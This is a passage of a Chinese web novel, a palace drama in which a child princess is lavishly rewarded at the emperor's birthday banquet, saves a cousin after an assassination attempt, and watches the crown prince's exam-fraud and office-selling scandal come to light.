唐蕊最是眼尖,看到这丸子差点握草:“逍遥丸?” 璃王府三个女人也惊住了,不明所以看向司徒澈。 司徒澈第一时间反应过来,猛的抬头看向皇后。 皇后也正看着他,嘴角泛起不怀好意的笑。 司徒澈一颗心顿时跌入谷底,眼睛有些泛酸。 虽然早就做好当皇后不存在的心理准备,可此时他还是很难过。 这就是他的娘,巴不得他死的亲娘! “王爷,怎么办?”秦芷嫣有些慌了。 “无妨!”司徒澈不动声色收起锦盒。 皇后注意到他的动作,笑着开口:“澈儿,你给你父皇准备了什么寿礼啊?” 司徒澈拱手:“回母后,儿臣打算亲自给父皇表演剑舞,祝愿父皇福如东海,寿比南山。” 呃… 此言一出,群臣面露无语。 太子更是轻笑出声:“七皇弟,表演剑舞,你行吗?父皇寿辰,你可不要欺君,惹父皇不快!” “太子言重了!臣弟虽腿脚不便,但表演剑舞,还是能做到的。” 司徒澈淡淡说罢,双手放在轮椅扶手上,下一刻,缓缓的站起身来。 众人震惊! 热闹的大殿顿时鸦雀无声! 只见那俊美的男子单手背负在身后,站得笔直。 看到他,众人好像又看到曾经那个身着盔甲,顶天立地的大夏战神! 只要他在,大夏就不惧东临北狄,所向披靡! “澈…澈儿…”皇帝终于找回了自己的声音,激动的站起身来:“你好了?你能站起来了?” 只有父皇,是真正疼爱他! 被皇帝浓浓的父爱包裹,皇后的母爱好像也不那么重要了。 司徒澈眼底多了一丝真心实意的笑意,拱手道:“回禀父皇,虽然站立不能太久,但儿臣的腿也在逐渐康复。本想早点告诉父皇,可儿臣想在这天给父皇一个惊喜,才一直瞒着没说,还望父皇恕罪!” “好,好,好!”皇帝大笑出声,眼眶却微微泛酸:“我儿自有祖宗庇护,苍天保佑,乃是有福之人。” 司徒澈笑道:“真正的有福之人是昭华,她一来,儿臣的腿就好多了。” “昭华确实是福星啊!”皇帝看向唐蕊,毫不掩饰对她的喜爱。 如果说以前是百分之五十,现在直接升到了百分之百。 同时,他也更相信唐蕊是下凡历劫的仙子。 不然为何中了鹤顶红却没事? 不然老七的腿为什么能好? 不仅如此,连跟唐蕊走得很近的司徒郯身体都好多了。 没错! 一定是这样! 他的孙女,就是仙女下凡,是福星! 只要她亲近之人,都会安泰健康,好运不断! “恭喜皇上,恭喜璃王!”群臣也很给面子道喜。 皇后和太子的脸色却不怎么好了。 两人死死的盯着司徒澈的腿,不懂他为什么站起来了。 “哈哈哈…”皇帝开怀大笑,不赏赐一下,他今晚会高兴得睡不着的。 于是,皇帝大手一挥:“陈德福,拟旨,昭华郡主司徒蕊,聪慧伶俐,懿姿纯茂,柔嘉成性,肃雍持身,赐封地韶城,赏黄金千两,温泉山庄一座,免死金牌一块,食邑万户,日后入宫,可见朕不跪!” 群臣皆惊! 同样被天上馅饼砸中的唐蕊:“!!” 皇后脸色骤变,猛的起身:“皇上,不可!” 赐封号昭华,她就已经很不满了。 现在又是赐封地,又是赐山庄的,还有免死金牌,外加食邑万户! 这踏马… 就算是超一品护国公主都没这样的待遇啊! 唐蕊一个私生女,凭什么? 皇后表示不服! 皇帝却淡淡的瞥了她一眼:“为何不可?昭华懂事,朕多疼爱她一些又有何妨?” 第95章 突发情况,有人行刺 皇后硬扯出一抹笑:“昭华年纪还小,哪里承受得住如此之大的福气?再说了,这也不合规矩啊!” “…”开玩笑,天上的仙子,多大的福气不能承受? 朕一个皇帝,在位几十年兢兢业业,任性一次怎么了? 你分明就是不想老七好! 朕偏不如你愿! 谁让老七已经是王爷,赏无可赏了? 皇帝霸气回怼:“朕是天子,大夏之主,朕的话就是规矩!” 皇后:“…” 群臣见皇帝动了真格的,赶紧跪下附和:“皇上英明,万岁万岁万万岁。昭华郡主千岁千岁千千岁。” 唐蕊也很上道,赶紧跪下磕头谢恩:“多谢皇爷爷,谢谢谢谢,昭华日后一定恪守本分,绝不会让皇爷爷失望哒!” 皇帝非常开心:“哈哈哈…起来起来,快快起来,地上凉!” 唐蕊站起身来,心里的小人激动得满地打滚。 虽然还是郡主,但她这地位已经是现在这个身份能升的顶端了。 免死金牌就不说了,大家都懂这是什么东西。 见皇帝不跪,都见皇帝不跪了,见其他人还用跪吗? 还有黄金千两,温泉山庄。 不过最让唐蕊开心的就是食邑万户和封地了。 这可是万户侯才有的待遇哇! 以后就算她不做生意,也不用担心没钱了。 不仅如此,她还有了自己的地盘! 唐蕊开心得不停拍皇帝马屁:“皇爷爷,你真是全天下最好最好最好的爷爷,昭华以后都不想嫁人啦,想一辈子承欢膝下,做皇爷爷永远的小棉袄哦。” 童言童语,又逗得皇帝开怀大笑。 皇后气得七窍生烟,却又无能为力。 这天下是皇帝的,皇帝是不会把她怎么样,但她却无法左右皇帝的想法。 太子的脸色黑得都快滴出墨来了。 昭华…郡主… 食邑万户! 免死金牌! 封地! 就连几个王爷,除了司徒澈都没有封地。 唐蕊一个奶娃娃居然有封地了。 唐蕊的不就是司徒澈的吗? 等于说司徒澈有两个封地了。 还有免死金牌,就算以后他想把司徒澈怎么样,也有免死金牌护身。 玛德! 玛德! 为什么司徒澈的运气这么好? 为什么这么争气的女儿不是他的啊? 老天爷,你真的太不公平了! 一直没吱声的司徒谨早就被皇帝这一决定惊得好似魂魄出窍了,同时心里也为自己的姐姐司徒嫱不值。 明明他的姐姐也那么优秀,就因为是庶女,所以一直与郡主位无缘。 可唐蕊呢? 区区私生女,却爬到了他们这一辈所有孩子的头上! 这踏马叫什么事儿啊? 皇爷爷为什么就这么偏心呢? 姐姐要是知道这个消息,又该哭了。 封赏过后,司徒澈找一个侍卫借了剑,给皇帝表演剑舞。 虽然坐轮椅多年,但他的剑舞依旧好看。 如龙腾九天,每一招都炫目夺魄。 一套动作下来行云流水,柔中带刚,剑锋划破空气,舞与剑彻底融为一体。 皇帝连连鼓掌,大声叫好,非常给面子。 文武百官也看得如痴如醉,连连点头。 看来,璃王的腿是真的要好了。 舞了这么久,没有丝毫不妥。 看着舞剑的璃王,他们好像看到了那个趴下的巨人,又昂首挺胸站了起来。 璃王府里三个女人,早就西子捧心,被司徒澈迷得不要不要的了。 她们的男人是世上最好的男儿,铮铮君子,没有任何男人比得上! 一舞完毕,群臣纷纷夸赞。 司徒澈笑着拱了拱手,把剑还给侍卫,回到了自己的位置上。 临近的襄王立刻端起酒杯:“七弟,恭喜!” 其他几个王爷也远远的朝司徒澈举起酒杯。 甭管心里怎么想,但他们和司徒澈没有什么直接矛盾,多年来关系也不错,失落羡慕之余,也是为他高兴的。 司徒澈也笑着倒了一杯酒,几个兄弟一饮而尽。 献礼环节结束,丝竹管乐声变了调子,一群舞姬如蝴蝶翩翩,步入大殿。 唐蕊看得津津有味。 还别说,古代的舞姬和电视上那些演员很不一样,她们非常专业,随便一个拿到现代,都能称作古舞大师了。 那纤细的腰肢非常柔软,身段又好,高难度动作全都手到擒来。 唯一让唐蕊不爽的是,皇后那如实质般快要把她射穿的眼神。 唐蕊又不是泥捏的,看一会儿就算了,特么的一直看。 本宝宝有皇帝撑腰,会怕你? 于是唐蕊抬起眼眸,直直的看了回去,并送了她一记挑衅的眼神。 皇后眼神一冷,手指猛的拽紧了椅子扶手,心里不停的骂着小贱人。 “…”你才是老贱人! 唐蕊也在心里骂,哼唧一声又收回视线继续欣赏舞蹈。 反正都撕破脸了,还需要讨好你吗? 与其内耗自己,不如外耗别人! 少问自己为什么,多问别人凭什么。 哎呀,为首的那个舞姬真好看,腰细,皮肤还白,真想摸一把! 唐蕊正想着,就见那个舞姬一个360旋转外加燕子穿林后,手中突然多了一把明晃晃的匕首。 唐蕊脸色骤变,立刻起身大喊:“护驾!她是刺客!” 然而,已经晚了! 为首的舞姬握紧匕首,眼底杀机毫不掩饰,素手一扬掷了出去! 群臣皆惊! 司徒澈凌空一跃,第一时间来到皇帝面前,把他护在身后。 羽林军也齐齐闯入。 而那匕首,此时却已经来到了太子面前。 秦芷媃早就尖叫着躲开了。 太子吓得面无人色,根本来不及思考,只能凭借本能,扯过一旁还没回过神来的司徒谨,挡在自己身前。 …利器刺入肉体的声音响起。 司徒谨愣愣低头看着插在自己胸口的匕首。 匕首周围,已经开出刺眼的血花。 司徒瑾又机械转头,不可置信的看向太子,唇角溢出血来。 “父…父…王…” 为什么? 我是你的亲儿子啊! 可惜,他的问题问不出来了,软软倒地,呼吸困难,眼神开始涣散! 羽林军此时也摁住了那个舞姬。 “太医!太医快来!”陈德福很有眼色,赶紧看向太医院院首。 院首也反应过来了,立刻来到司徒瑾面前,去探他的鼻息,随后朝皇帝拱手:“皇上,这…气息微弱,已经救不活了。” “走开!” … 第96章 他发誓,再也不会跟唐蕊作对 “走开!” 一个奶团子跑了过来,推开太医,从怀里掏出一包药粉洒在司徒瑾胸口,肉乎乎的小手适当用力摁住胸口几个穴位:“司徒谨,不能睡,睡了就真的死了!” 似乎听到了她的声音,意识快要陷入黑暗的司徒谨感觉有一道光照射进来。 他拼尽全力,想要抓住那束光。 奶声奶气的声音,也逐渐清晰起来。 “死了就什么都没了,再也见不到你的亲人,再也吃不了好吃的东西,更没有漂亮的衣服,你听不见看不见也没有任何感受,就像是睡着一样,但却没有任何梦境!你真的想死吗?” 司徒瑾吃力的睁开眼,努力想看清说话的人。 然而,待到视线清晰起来的时候,映入他眼底的却是唐蕊胖乎乎的小脸。 她…很着急… 眼底满是急切与担忧! 呵… 真好笑! 临到最后,他的生父拉他挡刀! 他的母妃早就吓得躲到了一边! 唯一不希望他死的,竟然是他最讨厌的唐蕊! “对…不…起…”司徒谨眼泪滑落眼眶,努力说出这三个字。 他错了,姐姐也错了。 唐蕊并不可恶,她其实很善良,连他这样的死对头都会担心! 他不知道的是,唐蕊只是觉得,这么小的孩子死了太可惜了! 比起司徒嫱,其实司徒谨也不算多可恶,在国学监看到她,最多小声骂两句。 她这个套着小孩壳子的大人,只要对方不是太过分,也不至于跟一个真正的小孩子计较。 对唐蕊而言,除非天生坏种,每个小孩子都是一张白纸。 未来长大会是什么品行,全都来源于他们的父母。 所以真正有罪的,是他们的父母! “等你好了再慢慢跟我道歉,现在听我的,慢慢呼吸,来!一…二…呼…吸…” 随着唐蕊开口,司徒谨也张开嘴努力呼吸着。 他不想死,他的生命才开始,他真的不想死。 这次要是能活下来,他发誓,再也不会跟唐蕊作对,也不会骂她野种了。 不仅如此,以后他会做一个好哥哥,拼劲所有疼爱唐蕊这个妹妹。 “血止住了,止住了!”院首老头神色一喜,屁颠屁颠的凑了过来:“昭华郡主,你用的什么止血粉啊?这也太神了!” “闭嘴,别吵我!”唐蕊这会儿哪有功夫给他解惑,继续引导司徒谨:“对对,就是这么呼吸,慢慢的,不要急,不要怕…” 也不知道是被唐蕊的声音安抚到了,还是想活下去的信念。 司徒谨的呼吸越来越顺畅。 “好了,院首爷爷,你一会儿记得把他匕首拔出来!”唐蕊说罢,小胖手伸进怀里,把所有止血粉都摸了出来,递给他:“这些是我的所有的止血粉啦,应该够哦!” “多谢郡主,有了这些止血粉,谨主儿一定不会有事。” 多余的,他还能研究一下,看看是什么成分。 院首开心的接了过来。 陈德福也招来几个侍卫,让他们小心翼翼把司徒谨抬下去。 司徒谨离开时,眼神一直在唐蕊身上,里面的情绪不停翻滚。 皇帝问院首:“谨哥没事了?” 院首拱手:“回皇上,有了郡主这止血粉,下官保证谨主儿不会有生命危险。” “那你下去替谨哥拔刀吧!” 皇帝松了一口气! 毕竟是他的孙子,就算是庶出,那也是孙儿。 能活着当然比死了好! 皇帝看向唐蕊,温和一笑:“昭华,你又立功了,不知你那些止血粉,是哪里买的啊?” 药效这么好的止血粉,若是能用到军中,那士兵们的死亡率是不是会大幅度缩水? 呃… 唐蕊抓了抓脑门,快速思考着要怎么扯犊子。 司徒澈这时却道:“父皇,这些止血粉都出自神医谷,乃是神医的徒弟送给昭华的。儿臣能站起来,也是因为这位小神医。” “哦?”皇帝眼睛一亮:“昭华认识神医谷的高人?” 司徒澈一本正经吹牛逼:“只是偶遇,那位小神医觉得昭华聪慧,是个学医的好苗子,于是送了她一本学医的手札,并送了她一些药物防身。” “对哇对哇!”唐蕊猛点头,圆滚滚的小脸满是得意:“皇爷爷,我厉不厉害?” “哈哈…没想到连神医谷的高人都喜爱昭华,昭华真是厉害!”皇帝很给面子。 但他却不信这番说辞,准备过后单独找司徒澈问问。 司徒澈心里其实也很清楚,但这里不是说话的地方! 等皇帝单独找他的时候,他会坦白唐蕊的身份。 皇帝如此宠爱他,见他赏无可赏,于是把所有赏赐都给了唐蕊。 他着实不该提防皇帝! 皇帝问完话,扫到一旁惊魂未定的太子,眼底划过一丝失望,脸上的笑容都淡了许多。 皇后早就跑到太子身边嘘寒问暖了,那副慈母的样子,真是碍眼。 但现在不是训斥太子的时候。 皇帝又看向那个被羽林军们摁住的舞姬。 事到如今,舞姬毫不掩饰对太子的憎恨,一双美目里,满是蚀骨的恨意。 皇帝危险的眯起眼眸:“你是何人?竟敢行刺当朝太子,好大的胆子。” 舞姬苦涩一笑,直视着皇帝,一字一句质问:“皇上,您英明贤德,五湖四海皆知,为何要让司徒霄做太子啊?他就是个披着人皮的畜生,若他为帝,我们大夏百姓还有好日子过吗?” “你…”太子此时终于回过神来,怒气冲天,颤抖的指着那个舞姬:“刺杀孤,还敢辱骂孤,你罪该万死!” “哈哈哈哈…”舞姬大笑起来,眼底带着一丝毁灭一切的疯狂:“死又何惧?只是可惜,没杀了你,我死不瞑目!” “大胆!”皇后震怒:“来人,把这个胆敢刺杀辱骂太子的贱婢,拉出去砍了。” “慢着!”辰王突然开口,往前一步,朝皇帝拱手道:“父皇,事有蹊跷,一介舞姬怎会无缘无故刺杀太子?不如审问一番,再做决定也不迟。” 皇后不耐烦道:“还审问什么?今日她敢刺杀太子,来日会不会刺杀别人?如此胆大恶毒的贱婢,万死都不为过!” 第97章 你怎么还尿裤子哇 辰王寸步不让:“母后,这么着急做甚?事情已经发生了,不如就问清楚缘由,若是此舞姬对太子有什么误会,及时解开了也好。” “好,朕就听你一言!”正愁抓不到太子错处的皇帝往高位坐,文武百官也齐齐镇定下来。 偌大的寿宴,瞬间变成了审问现场。 皇帝一抬手:“你说,一五一十的说,朕倒要听听,你为何要刺杀太子,事情败露之后,还辱骂于他。” 舞姬眼中溢泪,事到如今也不隐瞒了,一五一十娓娓道来:“小女梁氏,名唤阿宁,自小父母双亡,与姐姐和姐夫相依为命。只是家中贫困,姐姐要养活我,还要供姐夫念书,于是入了百香楼唱曲。” “百香楼?”睿王眉头微蹙:“那不是青楼吗?” “是…姐姐虽身陷淤泥,却一直念着我那姐夫,只卖艺不卖身。我姐夫也知道她的辛苦,从不曾厌弃过她,只想早日考取功名,让我姐姐享福。谁知…” 说到这里,梁阿宁愤恨的看向太子:“谁知我姐夫次次名落孙山,一开始他还以为是自己学识不够,越发用功,直到今年姐夫再次落榜,却机缘巧合下得知,他的试卷被今年的会试第二,一个叫何耀祖的占用了!” 一直当隐形人的何氏脸色一白,脑袋垂得更低了。 “胡说八道!”太子眼底慌乱一闪而逝:“会试一直由孤负责,孤怎么会欺上瞒下,做出如此荒唐之事?你休得血口喷人!” “哈哈哈…”梁阿宁讥讽的大笑出声:“太子殿下真是能言巧辩,可惜,我姐夫多方查证,已经掌握了证据,可还不等他入宫告御状,就淹死在护城河里。顺天府说他是饮酒过度失足落水,怎么可能?我姐夫平日滴酒不沾,怎么会饮酒?我姐姐得知姐夫死讯,悲痛万分,趁我不备也投河自尽。你,司徒霄,是你害死了我的姐姐和姐夫,你害得我家破人亡啊!” “等等等等!”睿王可是管着顺天府的,一听这事还扯到了自己的地盘,当即不干了:“你别胡说啊,本王管辖之内的顺天府,可从没听说过这样的事。” 梁阿宁凄然一笑:“我自然相信睿王殿下,但睿王殿下能保证,你手底下的人也只听你的吗?” “这…”睿王噎住了。 顺天府那么多人,他当然无法保证! “胡说,你这是污蔑,污蔑!”太子一听还有证据,有点急了:“父皇,一介贱婢敢污蔑孤,其罪当诛!” “没错!”皇后神色淡淡,也跟着附和:“什么阿猫阿狗都敢状告太子,一言不合就行刺,这贱婢的话不可信。” “何耀祖?这不是永安侯夫人的侄子么?”唐蕊歪着脑袋,好奇的说了一句。 被点到名的何氏,吓得往后缩了缩,那张脸更白了。 唐蕊又看向梁阿宁:“喂,大姐姐,你说你有证据,证据呢?” 太子怒道:“昭华闭嘴,这里没有你说话的份!” 唐蕊吓得往自家老爹身后一躲,只伸出个脑瓜子来:“我就是好奇而已,太子叔叔你急啥哦?” “证据在此!” 梁阿宁将手伸出怀里时,皇后却突然大吼一声:“当心,她有暗器!” 一直守在梁阿宁身后的羽林军一听,都没顾得上细看,反射性挥剑砍向梁阿宁的脑袋。 眼看梁阿宁要命丧当场,司徒澈却如鬼魅般出现在那羽林军身边,及时抓住了他的手腕。 而此时,梁阿宁也掏出了一本手札,根本就不是什么暗器。 差点当殿杀人的羽林军脸色一白,赶紧跪下了:“皇上恕罪,卑职…” “朕知道!”皇帝冷冷的瞥了皇后一眼,很及时的看到了她眼里还没来得及收起的失望。 呵… 这女人,胆子越来越大了,竟敢当着他和文武百官的面杀人灭口 皇帝收回视线看向陈德福:“把那本手札拿来。” “是!”陈德福赶紧下去,把手札亲手呈上。 皇帝打开手札,视线瞬间凝住了。 只见当前第一页,就是用血写的名字,以及这个人哪一年参加科举,最后却名落孙山。 再往后翻,都是如此,甚至还有好些学子不依不饶,觉得自己不应该落榜,暗暗追查,结果祸及全家。 不仅如此,手札里还夹着好几封血书,都是那些被灭口的学子遗书。 最让皇帝无法置信的是,那些偏远的城镇地方官,已经明目张胆买官卖官。 而这些银子,都是通过永安侯府,流入了中宫! 梁阿宁朝皇帝磕了三个头,声泪俱下:“皇上明鉴,这些都是参加过科举,被占用了试卷,名落孙山的学子。我姐夫花了三年,才收集到这些证据,可惜他还没来得及呈给皇上,就…呜呜呜…求皇上,为我姐夫做主,为这千千万万个学子做主啊!他们什么都没错,他们只是想出人头地,为朝廷、为皇上效力,他们不该落得这样的下场啊!” 太子脸色惨白,腿一软跌坐在地。 永安侯夫人眼前一黑,吓得差点晕过去。 “皇上!” 自己的儿子自己知道,太子这样不打自招了都。 皇后此时再也无法保持淡定了,急切开口:“也许这是伪造的,太子最是孝顺听话,怎么可能做出这样的事?” “你自己看!看完再告诉朕,这些到底是真的还是假的?”皇帝直接忽略皇后,把手札扔到太子面前。 好巧不巧的,一阵阴风拂过,手札飞快翻页,每一页都好像蕴含了一个张牙舞爪的冤魂,要向太子索命! 太子吓得怪叫一声,不停后退:“不是孤,不是孤,孤是被冤枉的,孤也没有杀你们,你们不要来找孤啊!” 也不知道是不是被吓狠了,太子屁股底下,一股液体溢出,骚臭味充斥在众人鼻间! 皇帝:“…” 文武百官:“…” “咦~”唐蕊捂着鼻子,很是嫌弃:“太子叔叔,昭华都不尿裤子了哦,你怎么还尿裤子哇?” 太子羞愤怒吼:“你给孤闭嘴!” 第98章 臣妾愿以死明志 “你吼什么?”司徒澈可不怕他,第一时间护犊子:“昭华又没说错,这么大的人了,本来就不应该尿裤子啊!” 左一句尿裤子右一句尿裤子的。 太子差点被这父女俩气昏过去! 皇帝满脸阴沉,虽然达到了目的,可以用这个名头废除太子。 但一想到那些含冤而死的学子们,他的心情就非常不好。 还有… “永安侯…” “皇上,老臣对这事一概不知啊!” 永安侯终于回过神来了,说罢反手甩了何氏一个大嘴巴子,恶狠狠道:“你说,是不是你?” 何氏捂着脸,眼底满是心虚:“侯爷,妾身…妾身…” “这种事你都敢做,还有什么是你不敢做的?” 永安侯快被这蠢货气死了,义正言辞朝皇帝拱手:“皇上,臣会休了这个狠毒的罪妇,您要打要杀,臣绝不阻拦。” “侯爷!”何氏惊呆了,不可置信的看着他:“您怎么能不管妾身呢?妾身做这些,也是为了咱们侯府啊!” 永安侯怒道:“我侯府什么门楣?需要这种贪赃枉法的银子吗?何氏,你草菅人命,罪不可赦,本侯没有你这样的夫人。” “你…”何氏气得浑身发抖,脑子一热也豁出去了,声嘶力竭吼道:“平时侯府的开销那么大,就你那点月给怎么够?你说你不知道,你是真的不知道吗?你分明是知道,却装作不知道,只会一味的享受我的付出!” “胡说八道!”永安侯才不承认呢:“本侯确实不知情,身正不怕影子歪,皇上不信可以严查!” “哈哈哈…”何氏悲凉的笑出声来:“秦振安,你真不是个男人,怪不得秦氏到死都不愿再见你一面,死后更不愿入你秦家祖坟,她一定是看透了你这嘴脸,连死都不愿再做你秦家人!” 秦芷嫣闻言一愣:“是我娘,自己不愿入秦家祖坟?” 以前她还觉得是爹狠心,居然不让娘的遗体入秦家祖坟。 她无奈之下,才把娘亲的遗体送到佛寺供奉。 没想到,不入秦家祖坟,居然是娘亲的遗愿吗? 何氏嗤笑道:“是啊,你娘死前说过,与你爹死生不复相见,她最厌恶的就是你爹这个伪君子了。” “你给本侯闭嘴!”永安侯恼羞成怒,又扇了她一个大逼兜子。 可何氏已经彻底不怕了,哈哈大笑,眼底闪烁着癫狂的光,不停喊话秦芷嫣:“你还不知道吧?其实你应该是妹妹,芷媃才是姐姐,当初我和你娘是闺中好友,可你娘怀着你的时候,你爹就跟我好上了,并且有了芷媃。你娘知道后坚决不再与你爹亲热,你爹怀恨在心,默许我在你娘要生你的时候,把这个消息告诉了她,你娘动了胎气,早产生下你,身体也垮了。要我说你娘也是天真,怎么会相信你爹那一生一世一双人的誓言?你说是不是?哈哈哈…哈哈哈…” 秦芷嫣早已泪流满面,腿一软后退一步。 顾若雪及时扶住了她,居高临下看向何氏,温声细语怼了回去:“永安侯夫人错了,王妃姐姐的娘可是出自世家,怎么会这么天真?我还在闺中时,就听说过永安侯府中也算是妻妾成群,若是王妃姐姐的娘相信这种誓言,也不会给永安侯大人纳妾了。” 何氏闻言愣住了:“那…她为何?” “为何?”顾若雪掩唇一笑,毫不掩饰眼底的鄙夷:“当然是恶心你这个表面跟她做姐妹,实则眼馋她夫君的外室了呀!” 何氏像是被这两个字刺激了一样,崩溃大吼:“你闭嘴!本夫人是永安侯夫人,才不是什么外室!” 顾若雪点点头,慢条斯理道:“也对,无媒苟合,外室都比您身份高贵呢!您这…最多算个奸妇吧?” 朱侧妃一听,神色夸张:“不是吧?那太子妃不就是…” 奸生女这三个字她没好意思说,只是下意识看向皇后和秦芷媃。 皇后此时的脸已经跟锅底一样黑了,太子也差不多! 而秦芷媃本人,早就傻了! 她是…奸生女? “胡说,你们胡说,我撕了你们的嘴!”何氏已经七窍生烟,彻底丧失理智,怪叫一声朝她们冲了过去。 司徒澈挡在了两个女人面前,一把推开她,并看向永安侯:“永安侯,你能不能好好管管你的夫人?” 永安侯觉得从来没这么丢人过,一言不发逮住了何氏,又甩了她一个大逼兜子。 这次他没留一点情面,何氏直接被这一巴掌打得倒飞出去,倒地失去意识。 文武百官:“…”好一个大瓜,吃撑了都! 本是来刺杀外加告御状的梁阿宁:“…” 皇帝也看够了闹剧:“朕累了,皇后也累了吧?” 皇后深吸一口气,还在为自己的儿子开脱:“皇上,太子是您的亲儿子,您怎么能因为一个陌生人,就不信自己的亲儿子呢?” “就因为是朕的亲儿子,所以朕知道他是个什么样的人!” 皇帝不再看皇后与太子,疲惫的抬了抬手:“何氏一介妇人,不会有这么大胆子,将何家人全都收监,听后发落。至于太子,昏庸无能,贪赃枉法,焉能为一国储君?自今日,罢黜…” “皇上!”皇后打断了皇帝的话,突然跪下,昂首挺胸直视着皇帝:“若是皇上听信他人诋毁太子,臣妾愿以死明志!” 皇帝噎了一下,脸色瞬间无比难看:“皇后,你确定要如此?” “臣妾不是逼迫皇上,臣妾只是不希望皇上受小人挑唆,伤了与太子的父子之情。” 皇后说罢,一脸无畏的朝皇帝磕了三个头:“臣妾求皇上,不要听信小人之言,收回成命!” 皇帝定定的看着她,良久良久… 唐蕊眼尖的瞧见,皇帝的手紧握成拳,明明已经处于暴怒边缘。 可最后,皇帝还是缓缓松开了拳头,神色淡淡道:“梁氏,刺杀当朝太子一事属实,先拉下去。何家,一众涉案之人全都收监。至于太子,禁足东宫,彻查后再行发落!” “皇上英明,吾皇万岁万岁万万岁!”文武百官高呼。 第99章 父皇最宠的只有母后人一人 皇帝拂袖离开! 这次宫宴,不欢而散,任谁都看得出皇帝和皇后之间的奇怪氛围。 但,文武百官好像都已经习以为然了。 在他们看来,皇帝最爱的一直都是皇后! 只要皇后不倒,太子就不会倒。 但唐蕊却很不理解啊! 回王府的马车上,她终于问出了自己的疑惑:“爹爹,皇爷爷明明不喜欢皇奶奶,为什么要一直给她面子啊?” 司徒澈微不可见笑了笑:“谁说父皇不喜欢母后的?整个大夏谁不知晓,父皇最宠的只有母后人一人。” 可是,皇后最宠爱的只有太子这一个儿子。 明明犯了这么大的错,还要用命去保他! “蕊蕊,你爹说得没错!”秦芷嫣也接过话来:“父皇一直都很宠爱母后,不管母后犯了多大的错,父皇都会宽恕她的。” “??”是吗? 唐蕊摸着下巴,仔细回忆了一下皇帝当时的神情,纠结片刻后还是摇了摇头:“不!不对!皇爷爷绝对不喜欢皇奶奶。” 司徒澈好笑道:“你个小不点哪里懂喜不喜欢的?” 他这么大个人了,都还不懂呢! 唐蕊给了他一个‘你这就不知道了吧’的眼神:“喜欢一个人,眼睛是会发光的,皇爷爷看着皇奶奶的时候,眼睛里可没有一点光,只有厌恶!” 司徒澈也回忆了一下,眉头微蹙。 别说,你还别说! 好像…还真是这么回事。 顾若雪眉眼一动:“蕊蕊,那你觉得皇上为何如此纵容皇后?” 唐蕊想了想,才说出自己的猜测:“我觉得…皇爷爷应该是有什么把柄,被皇奶奶拿捏住了。” “怎么会?父皇可是大夏之主,能有什么把柄呀?就算有,也不可能被母后拿捏住呀!”秦芷嫣却不信这番说辞。 那可是一国之君,皇后要是有什么把柄,早就被皇帝灭口了。 司徒澈也道:“好了,别胡思乱想了,这次太子又逃过一劫,父皇为了保他,肯定会推个替罪羊出来。” 唐蕊:“…”怎么就不信呢? 她的直觉很少有错的。 皇帝也是人,怎么就不能是有把柄在皇后手里啊? 顾若雪皱眉道:“买官卖官,贪赃枉法,都这样了,皇上还要保他?” 司徒澈无奈苦笑:“谁让他有一个好母亲呢!” 明明也是他的母亲,可这待遇却是一个天一个地。 … 司徒澈的猜测没有错。 因为买官卖官的事,皇帝震怒。 虽然没有证据证明永安侯也参与了,但他却被皇帝厌弃,停职家里蹲。 所有涉案人员,一律斩首示众! 而何家首当其冲! 主家有一个算一个,通通被押上了断头台。 旁系男子也没能幸免,只有旁系的女眷与幼儿,获得一线生机,被发配边疆。 至于早就嗝屁的何耀祖,被列为了逃犯! 除了何家,还有很多参与的官员,有一个算一个,全都倒了大霉。 抄家的抄家,流放的流放。 包括这些年来的科举结果,全部作废。 已经成了地方官的,也没有漏掉,全部押解进京获得灭族大套餐。 那一天,午门血流成河! 唐蕊没去凑热闹,她甚至都不知道这事。 还是事后,元嬷嬷告诉她的。 唐蕊不由得感叹:“出来混的,迟早都是要还的。” 这个世上,哪有那么多合法的捷径可走? 对唐蕊而言,捷径之一,就是投胎技术。 捷径之二,就是结婚! 至于别的,十有八九不是触犯法律就是天理不容之事。 就算你在街上捡到了钱,老一辈子的人都会建议,立刻捐出去或者花掉,不然会倒大霉。 感叹完的唐蕊又问:“元嬷嬷,太子叔叔呢?他没事吗?” 元嬷嬷不动声色道:“太子殿下也是无辜者,罪魁祸首是他身边的伴读。” 唐蕊眼尾一抽:“这也太假了吧?哪个伴读这么大熊胆儿?谁信呐?” 元嬷嬷意有所指的瞥了她一眼:“皇上信,那就够了!” 唐蕊:“…” 很牛逼的回答,完全无言以对! 元嬷嬷见她郁闷,微不可见的笑了笑:“郡主,这个天下皇权至上,相信郡主也听说过指鹿为马一词。” 唐蕊点点头,她是知道,就是忍不住郁闷。 司徒霄犯了这么大的错,害了那么多人,凭什么还能好好的做他的太子? 真的很不服啊! 还有梁阿宁! 唐蕊想起这个可怜的女子,赶紧又问:“梁阿宁呢?她也被皇爷爷砍头了吗?” 毕竟刺杀太子这事是真的。 只要杀了人,就是触犯律法,官府或许会因为你有苦衷而从轻发落,但绝不会判你无罪! 元嬷嬷笑了笑,看了一眼身后带着面纱的婢女,答非所问道:“老奴今日来,也是想问问郡主,介不介意收下这个可怜的姑娘?她叫幻蝶,因为容貌受损,不能再留在宫中伺候。” 幻蝶适时往前一步,朝唐蕊福了福身子:“幻蝶参见郡主!” 这声音… 唐蕊惊呆了:“梁阿宁?” 幻蝶低眉顺眼:“郡主认错人了,奴婢幻蝶,会点拳脚功夫,还望郡主收留!” “…”屁哦,这声音分明就是梁阿宁的,她绝不会认错。 唐蕊一个标点符号都不信:“那你取下面纱,本郡主看看。” 幻蝶闻言二话不说取下了面纱,唐蕊定睛一看,整个人都呆住了。 这是怎样的一张脸? 眼睛往上完好无损,眼下的皮肤坑坑洼洼,快要丑哭她了。 最踏马无语的是,虽然毁容成这样,但这确实是梁阿宁没错啊! “吓到郡主了,还望郡主恕罪!”幻蝶重新戴上面纱,跪下了! “你先起来!” 唐蕊看向元嬷嬷:“嬷嬷,这什么情况啊?” 元嬷嬷淡淡一笑:“老奴说过,皇上是仁君,不能惩治罪魁祸首,他心里已经很不好受了,怎会再怪罪幻蝶?只是幻蝶在众目睽睽下做的事,是无法改变的事实,于是皇上找了个死囚鱼目混珠,给了幻蝶一笔银子,派人送幻蝶去江南富庶之乡渡过余生,并向她承诺,太子会得到应有的惩罚,但不是现在。可幻蝶不愿,宁愿自毁容貌,留在京城,也要亲眼看看太子的下场!” “哦!”唐蕊恍然大悟,对皇帝的印象好了几分。 在古代,有个贤明的君主,对百姓而言确实是一件很幸福的事。 但是吧… “为啥要让我收留哦?” 第100章 皇后谋算,朱家求助 宫里那么多人,再不济还有其他人,怎么也轮不到她叭? 